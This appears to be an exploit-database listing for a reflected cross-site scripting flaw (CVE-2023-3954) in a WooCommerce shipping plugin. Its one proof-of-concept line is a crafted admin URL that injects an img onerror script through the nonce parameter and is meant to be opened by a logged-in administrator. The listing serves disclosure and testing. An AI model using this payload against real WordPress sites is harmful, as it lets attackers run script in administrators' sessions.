Exploit for MultiParcels Shipping For WooCommerce 1.15.2-1.15.3 - Reflected XSS CVE-2023-3954

Name: Exploit for MultiParcels Shipping For WooCommerce 1.15.2-1.15.3 - Reflected XSS CVE-2023-3954
Rating: 5 (53 reviews)

2023-07-31 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:B463CCBB-2DC1-479F-BC88-BECD204B2DC0
Make a logged in admin open https://example.com/wp-admin/admin-post.php?action=multiparcels_delete_shipping&_wpnonce=<img src onerror=alert(/XSS/)>